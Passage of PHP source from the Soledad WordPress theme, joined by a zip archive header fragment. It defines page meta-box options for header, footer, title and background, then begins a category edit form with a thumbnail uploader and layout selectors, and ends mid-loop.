				'header-5'  => esc_html__( 'Header 5 ( Centered )', 'soledad' ),
				'header-6'  => esc_html__( 'Header 6', 'soledad' ),
				'header-7'  => esc_html__( 'Header 7', 'soledad' ),
				'header-8'  => esc_html__( 'Header 8', 'soledad' ),
				'header-9'  => esc_html__( 'Header 9', 'soledad' ),
				'header-10' => esc_html__( 'Header 10', 'soledad' ),
				'header-11' => esc_html__( 'Header 11', 'soledad' ),
			),
			'desc'    => esc_html__( 'Override header style for this page.', 'soledad' ),
		),
		array(
			'id'      => 'penci_header_width',
			'name'    => esc_html__( 'Custom Header Container Width', 'soledad' ),
			'type'    => 'select',
			'options' => array(
				''          => esc_html__( 'Default( follow Customize )', 'soledad' ),
				'1170'      => esc_html__( 'Width: 1170px', 'soledad' ),
				'1400'      => esc_html__( 'Width: 1400px', 'soledad' ),
				'fullwidth' => esc_html__( 'FullWidth', 'soledad' ),
			),
			'tab'     => 'page_header',
			'desc'    => esc_html__( 'Replace & change header with for this page.', 'soledad' ),
		),
		array(
			'id'   => 'penci_mainmenu_height',
			'type' => 'number',
			'name' => esc_html__( 'Custom Main Nav Height( min 30px )', 'soledad' ),
			'min'  => '1',
			'max'  => '500',
			'tab'  => 'page_header',
		),
		array(
			'id'   => 'penci_mainmenu_height_sticky',
			'type' => 'number',
			'name' => esc_html__( 'Custom Main Nav Height when Sticky Header( min 30px )', 'soledad' ),
			'min'  => '1',
			'max'  => '500',
			'tab'  => 'page_header',
		),
		array(
			'id'      => 'topbar_menu',
			'name'    => esc_html__( 'Custom TopBar Menu', 'soledad' ),
			'type'    => 'select',
			'options' => penci_get_option_menus(),
			'tab'     => 'page_header',
			'desc'    => esc_html__( 'Replace & change Topbar Menu for this page.', 'soledad' ),
		),
		array(
			'id'      => 'main_nav_menu',
			'name'    => esc_html__( 'Custom Primary Menu', 'soledad' ),
			'type'    => 'select',
			'options' => penci_get_option_menus(),
			'tab'     => 'page_header',
			'desc'    => esc_html__( 'Replace & change Primary Menu for this page.', 'soledad' ),
		),
		array(
			'id'   => 'custom_logo',
			'name' => esc_html__( 'Custom Logo Image', 'soledad' ),
			'type' => 'image',
			'desc' => esc_html__( 'You can override default site logo for this page.', 'soledad' ),
			'tab'  => 'page_header',
		),
		array(
			'id'   => 'header_bgcolor',
			'name' => esc_html__( 'Header Background Color', 'soledad' ),
			'desc' => esc_html__( 'You can change header background color with this option.', 'soledad' ),
			'type' => 'color',
			'tab'  => 'page_header',
		),
		array(
			'id'   => 'header_bgimg',
			'name' => esc_html__( 'Header Background Image', 'soledad' ),
			'type' => 'image',
			'desc' => esc_html__( 'You can change header background image color with this option. You should use image with minimum width 1920px and minimum height 300px', 'soledad' ),
			'tab'  => 'page_header',
		),

		array(
			'id'   => 'main_bar_bg',
			'name' => esc_html__( 'Main Bar Background Color', 'soledad' ),
			'desc' => esc_html__( 'You can change main nav background color with this option.', 'soledad' ),
			'type' => 'color',
			'tab'  => 'page_header',
		),
		array(
			'id'   => 'main_bar_bgimg',
			'name' => esc_html__( 'Main Bar Background Image', 'soledad' ),
			'type' => 'image',
			'desc' => esc_html__( 'You can change main bar background image color with this option.', 'soledad' ),
			'tab'  => 'page_header',
		),
		array(
			'id'      => 'penci_edeader_trans',
			'name'    => esc_html__( 'Enable Header Transparent', 'soledad' ),
			'type'    => 'select',
			'options' => array(
				''    => esc_html__( 'Default', 'soledad' ),
				'no'  => esc_html__( 'No', 'soledad' ),
				'yes' => esc_html__( 'Yes', 'soledad' )
			),
			'std'     => '',
			'tab'     => 'page_header',
		),
		array(
			'id'   => 'hlogo_trans',
			'name' => esc_html__( 'Upload Logo for Transparent Header style 6, 9, 10 & 11', 'soledad' ),
			'type' => 'image',
			'desc' => esc_html__( 'Important Note: This option apply when you use transparent header only', 'soledad' ),
			'tab'  => 'page_header',
		),
		array(
			'id'    => 'tran_slogan_color',
			'name'  => esc_html__( 'Header Slogan Text Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_slogan_line_color',
			'name'  => esc_html__( 'Header Slogan Line Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_social_color',
			'name'  => esc_html__( 'Header Social Icons Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_social_color_hover',
			'name'  => esc_html__( 'Header Social Icons Color Hover', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_main_bar_nav_color',
			'name'  => esc_html__( 'Main Bar Menu Text Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_bar_color_active',
			'name'  => esc_html__( 'Main Bar Menu Text Hover & Active Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_main_bar_padding_color',
			'name'  => esc_html__( 'Main Bar Padding Menu Items Background Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_main_bar_search_magnify',
			'name'  => esc_html__( 'Main Bar Search Icon Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_main_bar_close_color',
			'name'  => esc_html__( 'Main Bar Icon Close Search Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),

		// Footer
		array(
			'tab'     => 'page_footer',
			'id'      => 'footer_builder_layout',
			'name'    => esc_html__( 'Footer Builder Layout', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => $footer_layout,
			'desc'    => esc_html__( 'Override footer builder layout for this page.', 'soledad' ),
		),
		array(
			'id'      => 'penci_hide_fwidget',
			'name'    => esc_html__( 'Disable Footer Widget Area', 'soledad' ),
			'type'    => 'select',
			'options' => array(
				''    => esc_html__( 'Default', 'soledad' ),
				'no'  => esc_html__( 'No', 'soledad' ),
				'yes' => esc_html__( 'Yes', 'soledad' )
			),
			'std'     => '',
			'tab'     => 'page_footer',
		),
		array(
			'id'      => 'penci_footer_width',
			'name'    => esc_html__( 'Footer Container Width', 'soledad' ),
			'type'    => 'select',
			'options' => array(
				''          => esc_html__( 'Default( follow Customize )', 'soledad' ),
				'1170'      => esc_html__( 'Width: 1170px', 'soledad' ),
				'1400'      => esc_html__( 'Width: 1400px', 'soledad' ),
				'fullwidth' => esc_html__( 'FullWidth', 'soledad' ),
			),
			'std'     => '',
			'tab'     => 'page_footer',
		),
		array(
			'id'   => 'penci_fw_padding_top_bottom',
			'type' => 'number',
			'name' => esc_html__( 'Footer Widget Area Padding Top & Bottom', 'soledad' ),
			'desc' => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'  => 1,
			'step' => 1,
			'max'  => 200,
			'tab'  => 'page_footer',
		),
		array(
			'tab'     => 'page_footer',
			'id'      => 'penci_footer_style',
			'name'    => esc_html__( 'Footer Widget Area Columns Layout', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''         => esc_html__( 'Default', 'soledad' ),
				'style-1'  => '1/3 + 1/3 + 1/3',
				'style-2'  => '1/3 + 2/3',
				'style-3'  => '2/3 + 1/3',
				'style-4'  => '1/4 + 1/4 + 1/4 + 1/4',
				'style-5'  => '2/4 + 1/4 + 1/4',
				'style-6'  => '1/4 + 2/4 + 1/4',
				'style-7'  => '1/4 + 1/4 + 2/4',
				'style-8'  => '1/4 + 3/4',
				'style-9'  => '3/4 + 1/4',
				'style-10' => '1/2 + 1/2',
			),
			'desc'    => esc_html__( 'Override footer layout for this page.', 'soledad' ),
		),
		// Page header
		array(
			'name'    => esc_html__( 'Enable/Disable Page Header', 'soledad' ),
			'id'      => "pheader_show",
			'type'    => 'select',
			'options' => array(
				''        => esc_html__( 'Default', 'soledad' ),
				'enable'  => esc_html__( 'Enable', 'soledad' ),
				'disable' => esc_html__( 'Disable', 'soledad' )
			),
			'tab'     => 'page_title',
		),
		array(
			'name'    => esc_html__( 'Hide/Show Line Below Title', 'soledad' ),
			'id'      => 'pheader_hideline',
			'type'    => 'select',
			'options' => array(
				''     => esc_html__( 'Default', 'soledad' ),
				'hide' => esc_html__( 'Hide', 'soledad' ),
				'show' => esc_html__( 'Show', 'soledad' ),
			),
			'tab'     => 'page_title',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Hide/Show Breadcrumbs', 'soledad' ),
			'id'      => 'pheader_hidebead',
			'type'    => 'select',
			'options' => array(
				''     => esc_html__( 'Default', 'soledad' ),
				'hide' => esc_html__( 'Hide', 'soledad' ),
				'show' => esc_html__( 'Show', 'soledad' ),
			),
			'tab'     => 'page_title',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Text Align', 'soledad' ),
			'id'      => 'pheader_align',
			'type'    => 'select',
			'options' => array(
				''       => esc_html__( 'Default', 'soledad' ),
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			),
			'tab'     => 'page_title',
			'style'   => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_width',
			'type'  => 'number',
			'name'  => esc_html__( 'Custom Container Width for Page Header', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '2000',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_ptop',
			'type'  => 'number',
			'name'  => esc_html__( 'Padding top', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '100',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),

		array(
			'id'    => 'pheader_pbottom',
			'type'  => 'number',
			'name'  => esc_html__( 'Padding bottom', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '100',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'On/Off Uppercase for Title', 'soledad' ),
			'id'      => 'pheader_turn_offup',
			'type'    => 'select',
			'options' => array(
				''    => esc_html__( 'Default', 'soledad' ),
				'on'  => esc_html__( 'On', 'soledad' ),
				'off' => esc_html__( 'Off', 'soledad' ),
			),
			'tab'     => 'page_title',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Font Weight For Title', 'soledad' ),
			'id'      => 'pheader_fwtitle',
			'type'    => 'select',
			'options' => array(
				''        => esc_html__( 'Default', 'soledad' ),
				'normal'  => 'Normal',
				'bold'    => 'Bold',
				'bolder'  => 'Bolder',
				'lighter' => 'Lighter',
				'100'     => '100',
				'200'     => '200',
				'300'     => '300',
				'400'     => '400',
				'500'     => '500',
				'600'     => '600',
				'700'     => '700',
				'800'     => '800',
				'900'     => '900'
			),
			'tab'     => 'page_title',
			'style'   => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_title_pbottom',
			'type'  => 'number',
			'name'  => esc_html__( 'Custom Padding Bottom for Title', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '100',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_title_mbottom',
			'type'  => 'number',
			'name'  => esc_html__( 'Custom Margin Bottom for Title', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '100',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_title_fsize',
			'type'  => 'number',
			'name'  => esc_html__( 'Custom size for Title', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '100',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'   => 'pheader_bread_fsize',
			'type' => 'number',
			'name' => esc_html__( 'Custom size for Breadcrumb', 'soledad' ),
			'desc' => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'  => '1',
			'max'  => '100',
			'tab'  => 'page_title',
		),
		array(
			'id'    => 'pheader_bgimg',
			'type'  => 'image',
			'name'  => esc_html__( 'Background Image', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'

		),
		array(
			'id'    => 'pheader_bgcolor',
			'type'  => 'color',
			'name'  => esc_html__( 'Background Color', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_title_color',
			'type'  => 'color',
			'name'  => esc_html__( 'Title Color', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_line_color',
			'type'  => 'color',
			'name'  => esc_html__( 'Line Color', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_bread_color',
			'type'  => 'color',
			'name'  => esc_html__( 'Breadcrumbs Text Color', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_bread_hcolor',
			'type'  => 'color',
			'name'  => esc_html__( 'Breadcrumbs Hover Text Color', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		// Background
		array(
			'id'   => 'page_wrap_bgcolor',
			'type' => 'color',
			'name' => esc_html__( 'Background Color', 'soledad' ),
			'tab'  => 'page_background',
		),
		array(
			'id'   => 'page_wrap_bgimg',
			'type' => 'image',
			'name' => esc_html__( 'Background Image', 'soledad' ),
			'tab'  => 'page_background',
		),
		array(
			'name'    => esc_html__( 'Background Position', 'soledad' ),
			'id'      => 'page_wrap_bg_pos',
			'type'    => 'select',
			'options' => array(
				'center'        => esc_html__( 'Center', 'soledad' ),
				'left_top'      => esc_html__( 'Left Top', 'soledad' ),
				'left_center'   => esc_html__( 'Left Center', 'soledad' ),
				'left_bottom'   => esc_html__( 'Left Bottom', 'soledad' ),
				'right_top'     => esc_html__( 'Right Top', 'soledad' ),
				'right_center'  => esc_html__( 'Right Center', 'soledad' ),
				'right_bottom'  => esc_html__( 'Right Bottom', 'soledad' ),
				'center_top'    => esc_html__( 'Center Top', 'soledad' ),
				'center_bottom' => esc_html__( 'Center Bottom', 'soledad' ),
			),
			'std'     => 'center',
			'tab'     => 'page_background',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Background Size', 'soledad' ),
			'id'      => 'page_wrap_bg_size',
			'type'    => 'select',
			'std'     => 'cover',
			'options' => array(
				'cover'   => esc_html__( 'Cover', 'soledad' ),
				'auto'    => esc_html__( 'Auto', 'soledad' ),
				'contain' => esc_html__( 'Contain', 'soledad' ),
			),
			'tab'     => 'page_background',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Background Repeat', 'soledad' ),
			'id'      => 'page_wrap_bg_repeat',
			'type'    => 'select',
			'std'     => 'no-repeat',
			'options' => array(
				'repeat'    => esc_html__( 'Repeat', 'soledad' ),
				'no-repeat' => esc_html__( 'No repeat', 'soledad' ),
			),
			'tab'     => 'page_background',
			'style'   => 'penci-col-6'
		),

		// Custom css

		array(
			'name'        => esc_html__( 'Custom CSS Code', 'soledad' ),
			'id'          => 'page_custom_css',
			'type'        => 'textarea',
			'tab'         => 'page_custom_css',
			'placeholder' => '.class{ color: #fff; }',
			'desc'        => __( 'Enter your CSS code. In some case, the <code>!important</code> tag may be needed', 'soledad' ),
		),
	);

	$meta_boxes[] = array(
		'id'         => 'penci-metabox-page',
		'title'      => esc_html__( 'Page Options', 'soledad' ),
		'post_types' => array( 'page' ),
		'context'    => 'advanced',
		'priority'   => 'default',
		'autosave'   => 'false',
		'tabs'       => apply_filters( 'penci_page_meta_box_tabs', $tabs ),
		'fields'     => apply_filters( 'penci_page_meta_box_fields', $fields ),
	);

	return $meta_boxes;
}
PK     0w\\  \     meta-box/categories-meta-box.phpnu [        <?php
/**
 * Hook to create meta box in categories edit screen
 *
 * @since 1.0
 */

// Create markup
if ( ! function_exists( 'penci_category_fields_meta' ) ) {
	add_action( 'category_edit_form', 'penci_category_fields_meta', 0 );
	function penci_category_fields_meta( $tag ) {
		$t_id                     = $tag->term_id;
		$penci_categories         = get_option( "category_$t_id" );
		$mag_layout               = isset( $penci_categories['mag_layout'] ) ? $penci_categories['mag_layout'] : 'style-1';
		$mag_ads                  = isset( $penci_categories['mag_ads'] ) ? $penci_categories['mag_ads'] : '';
		$cat_layout               = isset( $penci_categories['cat_layout'] ) ? $penci_categories['cat_layout'] : '';
		$cat_sidebar              = isset( $penci_categories['cat_sidebar'] ) ? $penci_categories['cat_sidebar'] : '';
		$cat_sidebar_left         = isset( $penci_categories['cat_sidebar_left'] ) ? $penci_categories['cat_sidebar_left'] : '';
		$cat_sidebar_display      = isset( $penci_categories['cat_sidebar_display'] ) ? $penci_categories['cat_sidebar_display'] : '';
		$cat_header               = isset( $penci_categories['cat_header'] ) ? $penci_categories['cat_header'] : '';
		$cat_header_builder       = isset( $penci_categories['cat_header_builder'] ) ? $penci_categories['cat_header_builder'] : '';
		$cat_header_block         = isset( $penci_categories['cat_header_block'] ) ? $penci_categories['cat_header_block'] : '';
		$cat_header_single        = isset( $penci_categories['cat_header_single'] ) ? $penci_categories['cat_header_single'] : '';
		$cat_footer_builder       = isset( $penci_categories['cat_footer'] ) ? $penci_categories['cat_footer'] : '';
		$cat_footer_single        = isset( $penci_categories['cat_footer_single'] ) ? $penci_categories['cat_footer_single'] : '';
		$cat_sidebar_single       = isset( $penci_categories['cat_sidebar_single'] ) ? $penci_categories['cat_sidebar_single'] : '';
		$penci_critical_css       = isset( $penci_categories['penci_critical_css'] ) ? $penci_categories['penci_critical_css'] : '';
		$alayout_save_slug        = isset( $penci_categories['penci_archive_layout'] ) ? $penci_categories['penci_archive_layout'] : '';
		$archive_bgcolor          = isset( $penci_categories['penci_archive_bgcolor'] ) ? $penci_categories['penci_archive_bgcolor'] : '';
		$archive_acolor           = isset( $penci_categories['penci_archive_acolor'] ) ? $penci_categories['penci_archive_acolor'] : '';
		$penci_archive_gtextcolor = isset( $penci_categories['penci_archive_gtextcolor'] ) ? $penci_categories['penci_archive_gtextcolor'] : '';
		$penci_archive_cbgcolor   = isset( $penci_categories['penci_archive_cbgcolor'] ) ? $penci_categories['penci_archive_cbgcolor'] : '';
		$penci_archive_bdcolor    = isset( $penci_categories['penci_archive_bdcolor'] ) ? $penci_categories['penci_archive_bdcolor'] : '';
		$archive_color            = isset( $penci_categories['penci_archive_color'] ) ? $penci_categories['penci_archive_color'] : '';
		$archivepage_color        = isset( $penci_categories['penci_archivepage_color'] ) ? $penci_categories['penci_archivepage_color'] : '';
		$cat_magazine             = isset( $penci_categories['cat_magazine'] ) ? $penci_categories['cat_magazine'] : '';
		$default_thumb            = PENCI_SOLEDAD_URL . '/images/nothumb.jpg';
		$thumb_id                 = isset( $penci_categories['thumbnail_id'] ) ? $penci_categories['thumbnail_id'] : '';
		$thumb_url                = $thumb_id ? wp_get_attachment_image_url( $penci_categories['thumbnail_id'] ) : $default_thumb;
		?>
        <table class="form-table" role="presentation">
            <tbody>
            <tr class="form-field term-thumbnail-wrap" data-panel="colors">
                <th scope="row" valign="top">
                    <label><?php esc_html_e( 'Thumbnail', 'soledad' ); ?></label>
                </th>
                <td>

                    <div id="pc_term_thumbnail" style="margin-bottom:10px;"><img
                                src="<?php echo esc_url( $thumb_url ); ?>" width="60px" height="60px"/></div>

                    <div style="line-height: 60px;">
                        <input type="hidden" value="<?php echo $thumb_id; ?>" id="penci_categories_thumbnail_id"
                               name="penci_categories[thumbnail_id]"/>
                        <button type="button"
                                class="upload_image_button button"><?php esc_html_e( 'Upload/Add image', 'soledad' ); ?></button>
                        <button type="button"
                                class="remove_image_button button"><?php esc_html_e( 'Remove image', 'soledad' ); ?></button>
                    </div>
                <td>
                    <script type="text/javascript">

                      // Only show the "remove image" button when needed
                      if (!jQuery('#penci_categories_thumbnail_id').val()) {
                        jQuery('.remove_image_button').hide()
                      }

                      // Uploading files
                      var file_frame

                      jQuery(document).on('click', '.upload_image_button', function (event) {

                        event.preventDefault()

                        // If the media frame already exists, reopen it.
                        if (file_frame) {
                          file_frame.open()
                          return
                        }

                        // Create the media frame.
                        file_frame = wp.media.frames.downloadable_file = wp.media({
                          title: '<?php esc_html_e( 'Choose an image', 'soledad' ); ?>',
                          button: {
                            text: '<?php esc_html_e( 'Use image', 'soledad' ); ?>',
                          },
                          multiple: false,
                        })

                        // When an image is selected, run a callback.
                        file_frame.on('select', function () {
                          var attachment = file_frame.state().get('selection').first().toJSON()
                          var attachment_thumbnail = attachment.sizes.thumbnail || attachment.sizes.full

                          jQuery('#penci_categories_thumbnail_id').val(attachment.id)
                          jQuery('#pc_term_thumbnail').find('img').attr('src', attachment_thumbnail.url)
                          jQuery('.remove_image_button').show()
                        })

                        // Finally, open the modal.
                        file_frame.open()
                      })

                      jQuery(document).on('click', '.remove_image_button', function () {
                        jQuery('#pc_term_thumbnail').
                          find('img').
                          attr('src', '<?php echo esc_js( $default_thumb ); ?>')
                        jQuery('#penci_categories_thumbnail_id').val('')
                        jQuery('.remove_image_button').hide()
                        return false
                      })

                      jQuery(document).ajaxComplete(function (event, request, options) {
                        if (request && 4 === request.readyState && 200 === request.status
                          && options.data && 0 <= options.data.indexOf('action=add-tag')) {

                          var res = wpAjax.parseAjaxResponse(request.responseXML, 'ajax-response')
                          if (!res || res.errors) {
                            return
                          }
                          // Clear Thumbnail fields on submit
                          jQuery('#pc_term_thumbnail').
                            find('img').
                            attr('src', '<?php echo esc_js( $default_thumb ); ?>')
                          jQuery('#penci_categories_thumbnail_id').val('')
                          jQuery('.remove_image_button').hide()
                          // Clear Display type field on submit
                          jQuery('#display_type').val('')
                          return
                        }
                      })

                    </script>
            </tr>
            </tbody>
        </table>
        <div class="penci-cat-option-forms-ul">
            <ul>
                <li><a data-panel="general" class="active" href="#"><?php _e( 'General', 'soledad' ); ?></a></li>
                <li><a data-panel="header" href="#"><?php _e( 'Header', 'soledad' ); ?></a></li>
                <li><a data-panel="footer" href="#"><?php _e( 'Footer', 'soledad' ); ?></a></li>
                <li><a data-panel="sidebar" href="#"><?php _e( 'Sidebar', 'soledad' ); ?></a></li>
                <li><a data-panel="colors" href="#"><?php _e( 'Colors', 'soledad' ); ?></a></li>
            </ul>
        </div>
        <div class="penci-cat-option-forms">
        <table class="form-table" role="presentation">
        <tbody>
        <tr class="form-field" data-panel="general">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_magazine]"><?php esc_html_e( 'Enable Magazine Layout for This Category', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$yes_no_options = array(
					''    => __( 'No', 'soledad' ),
					'yes' => __( 'Yes', 'soledad' ),
				);
                $customizer_edit_url = admin_url( 'customize.php?autofocus[section]=penci_section_homepage_featured_cat_section' );
				?>
                <select name="penci_categories[cat_magazine]" id="penci_categories[cat_magazine]">
					<?php
					foreach ( $yes_no_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_magazine, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
                <p class="description"><?php _e( 'It only works if the category contains sub-categories and displays them using the magazine layouts.','soledad' ) ;?></p>
                <p class="description"><?php _e( 'All the settings are inherited from <strong>Customize → Homepage → Featured Categories</strong>. You can configure the options by clicking <a target="_blank" href=" '. $customizer_edit_url . ' ">this link</a>.','soledad' ) ;?></p>
            </td>
        </tr>
        <tr class="form-field" data-panel="general">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_layout]"><?php esc_html_e( 'Select Layout For This Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[cat_layout]" id="penci_categories[cat_layout]">
                    <option value="" <?php selected( $cat_layout, '' ); ?>><?php _e( 'None', 'soledad' ); ?></option>
                    <option value="standard" <?php selected( $cat_layout, 'standard' ); ?>><?php _e( 'Standard Posts', 'soledad' ); ?></option>
                    <option value="classic" <?php selected( $cat_layout, 'classic' ); ?>><?php _e( 'Classic Posts', 'soledad' ); ?></option>
                    <option value="overlay" <?php selected( $cat_layout, 'overlay' ); ?>><?php _e( 'Overlay Posts', 'soledad' ); ?></option>
                    <option value="featured" <?php selected( $cat_layout, 'featured' ); ?>><?php _e( 'Featured Posts', 'soledad' ); ?></option>
                    <option value="grid" <?php selected( $cat_layout, 'grid' ); ?>><?php _e( 'Grid Posts', 'soledad' ); ?></option>
                    <option value="grid-2" <?php selected( $cat_layout, 'grid-2' ); ?>><?php _e( 'Grid 2 Columns Posts', 'soledad' ); ?></option>
                    <option value="masonry" <?php selected( $cat_layout, 'masonry' ); ?>><?php _e( 'Grid Masonry Posts', 'soledad' ); ?></option>
                    <option value="masonry-2" <?php selected( $cat_layout, 'masonry-2' ); ?>><?php _e( 'Grid Masonry 2 Columns Posts', 'soledad' ); ?></option>
                    <option value="list" <?php selected( $cat_layout, 'list' ); ?>><?php _e( 'List Posts', 'soledad' ); ?></option>
                    <option value="small-list" <?php selected( $cat_layout, 'small-list' ); ?>><?php _e( 'Small List Posts', 'soledad' ); ?></option>
                    <option value="boxed-1" <?php selected( $cat_layout, 'boxed-1' ); ?>><?php _e( 'Boxed Posts Style 1', 'soledad' ); ?></option>
                    <option value="boxed-2" <?php selected( $cat_layout, 'boxed-2' ); ?>><?php _e( 'Boxed Posts Style 2', 'soledad' ); ?></option>
                    <option value="mixed" <?php selected( $cat_layout, 'mixed' ); ?>><?php _e( 'Mixed Posts', 'soledad' ); ?></option>
                    <option value="mixed-2" <?php selected( $cat_layout, 'mixed-2' ); ?>><?php _e( 'Mixed Posts Style 2', 'soledad' ); ?></option>
                    <option value="mixed-3" <?php selected( $cat_layout, 'mixed-3' ); ?>><?php _e( 'Mixed Posts Style 3', 'soledad' ); ?></option>
                    <option value="mixed-4" <?php selected( $cat_layout, 'mixed-4' ); ?>><?php _e( 'Mixed Posts Style 4', 'soledad' ); ?></option>
                    <option value="photography" <?php selected( $cat_layout, 'photography' ); ?>><?php _e( 'Photography Posts', 'soledad' ); ?></option>
                    <option value="standard-grid" <?php selected( $cat_layout, 'standard-grid' ); ?>><?php _e( '1st Standard Then Grid', 'soledad' ); ?></option>
                    <option value="standard-grid-2" <?php selected( $cat_layout, 'standard-grid-2' ); ?>><?php _e( '1st StandardThen Grid 2 Columns', 'soledad' ); ?></option>
                    <option value="standard-list" <?php selected( $cat_layout, 'standard-list' ); ?>><?php _e( '1st Standard Then List', 'soledad' ); ?></option>
                    <option value="standard-boxed-1" <?php selected( $cat_layout, 'standard-boxed-1' ); ?>><?php _e( '1st Standard Then Boxed', 'soledad' ); ?>
                    </option>
                    <option value="classic-grid" <?php selected( $cat_layout, 'classic-grid' ); ?>><?php _e( '1st Classic Then Grid', 'soledad' ); ?>
                    </option>
                    <option value="classic-grid-2" <?php selected( $cat_layout, 'classic-grid-2' ); ?>><?php _e( '1st Classic Then Grid 2 Columns', 'soledad' ); ?>
                    </option>
                    <option value="classic-list" <?php selected( $cat_layout, 'classic-list' ); ?>><?php _e( '1st Classic Then List', 'soledad' ); ?>
                    </option>
                    <option value="classic-boxed-1" <?php selected( $cat_layout, 'classic-boxed-1' ); ?>><?php _e( '1st Classic Then Boxed', 'soledad' ); ?>
                    </option>
                    <option value="overlay-grid" <?php selected( $cat_layout, 'overlay-grid' ); ?>><?php _e( '1st Overlay Then Grid', 'soledad' ); ?>
                    </option>
                    <option value="overlay-list" <?php selected( $cat_layout, 'overlay-list' ); ?>><?php _e( '1st Overlay Then List', 'soledad' ); ?>
                    </option>
                </select>
                <p class="description"><?php _e( 'This option will override with the general layout you selected on General > General Settings > Category, Tags, Search, Archive Pages > Category, Tag, Search, Archive Layout', 'soledad' ); ?></p>
            </td>
        </tr>
        <tr class="form-field" data-panel="header">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_header_single]"><?php esc_html_e( 'Apply these settings to all posts in this category?', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$yes_no_options = array(
					''    => __( 'No', 'soledad' ),
					'yes' => __( 'Yes', 'soledad' ),
				);
				?>
                <select name="penci_categories[cat_header_single]" id="penci_categories[cat_header_single]">
					<?php
					foreach ( $yes_no_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_header_single, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="header">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_header]"><?php esc_html_e( 'Select Header Layout for this Category', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$header_layout_options = array(
					'header-1'  => __( 'Header 1', 'soledad' ),
					'header-2'  => __( 'Header 2', 'soledad' ),
					'header-3'  => __( 'Header 3', 'soledad' ),
					'header-4'  => __( 'Header 4 ( Centered )', 'soledad' ),
					'header-5'  => __( 'Header 5 ( Centered )', 'soledad' ),
					'header-6'  => __( 'Header 6', 'soledad' ),
					'header-7'  => __( 'Header 7', 'soledad' ),
					'header-8'  => __( 'Header 8', 'soledad' ),
					'header-9'  => __( 'Header 9', 'soledad' ),
					'header-10' => __( 'Header 10', 'soledad' ),
					'header-11' => __( 'Header 11', 'soledad' ),
				);
				?>
                <select name="penci_categories[cat_header]" id="penci_categories[cat_header]">
                    <option value="">Default ( follow Customize )</option>
					<?php
					foreach ( $header_layout_options as $slug => $name ) {
